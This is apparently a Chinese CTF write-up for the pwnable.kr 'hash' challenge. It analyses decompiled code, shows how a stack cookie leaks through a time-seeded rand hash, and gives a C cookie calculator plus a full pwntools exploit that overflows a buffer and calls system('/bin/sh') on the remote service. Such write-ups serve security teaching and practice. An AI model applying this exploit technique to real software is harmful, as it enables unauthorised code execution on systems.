ida打开文件,发现关键函数是process_hash,代码如下
int process_hash()
{
int v0; // ST14_4@3
void *ptr; // ST18_4@3
char v3; // [sp+1Ch] [bp-20Ch]@1
int v4; // [sp+21Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
memset(&v3, 0, 0x200u);
while ( getchar() != 10 );
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(&v3, 0, 0x200u);
v0 = Base64Decode(g_buf, &v3);
ptr = (void *)calc_md5(&v3, v0);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return *MK_FP(__GS__, 20) ^ v4;
}
这里的问题在与给g_buf分配了1024bytes的空间,但是只给u分配了512bytes的空间,而1024字节的base64解码之后的长度为768,所以这里有一个栈溢出。但是代码中有栈cookie,所以光靠这里是不能利用的。
继续看代码,发现另一个函数
int my_hash()
{
int result; // eax@4
int v1; // edx@4
signed int i; // [sp+0h] [bp-38h]@1
char v3[32]; // [sp+Ch] [bp-2Ch]@2
int v4; // [sp+2Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v3[4 * i] = rand();
result = *(_DWORD *)&v3[16]
- *(_DWORD *)&v3[24]
+ *(_DWORD *)&v3[28]
+ v4
+ *(_DWORD *)&v3[8]
- *(_DWORD *)&v3[12]
+ *(_DWORD *)&v3[4]
+ *(_DWORD *)&v3[20];
v1 = *MK_FP(__GS__, 20) ^ v4;
return result;
}
在这个函数中,栈cookie被用来生成了一个hash值,而这个hash值会在交互中给出,结合题目中提到的提示,bin服务和pwnable.kr运行在同一台机器上,也就是说时间相同,这样就可以反算出栈cookie,从而get shell了。
大概思路清晰之后,开始完成exp,首先是用c算出栈cookie
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
int m = atoi(argv[2]);
int rands[8];
srand(atoi(argv[1]));
for (int i = 0; i <= 7; i++) rands[i] = rand();
m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];
printf("%x\n", m);
return 0;
}
完成cookie的计算,分析到这里就可以写exp了,主要思路是溢出掉v3,用验证码和时间计算出栈cookie,最后调用system("/bin/sh")
import os
import time
from pwn import *
p = remote("pwnable.kr", 9002)
t = int(time.time())
print p.recvuntil("captcha")
captcha = p.recvline()
captchapos = captcha.find(' : ')+len(' : ')
captcha = captcha[captchapos:].strip()
p.sendline(captcha)
print p.recvline()
print p.recvline()
cmd = "./hash %s %s" % (t, captcha)
cookie = "0x" + os.popen(cmd).read().strip()
payload = 'A' * 512 # 512 byte v3
payload += p32(int(cookie, 16))
payload += 'A' * 12
payload += p32(0x08049187) # system
payload += p32(0x0804B0E0 + 537*4/3) # .bss => address of /bin/sh
payload = b64e(payload)
payload += "/bin/sh\0"
p.sendline(payload)
p.interactive()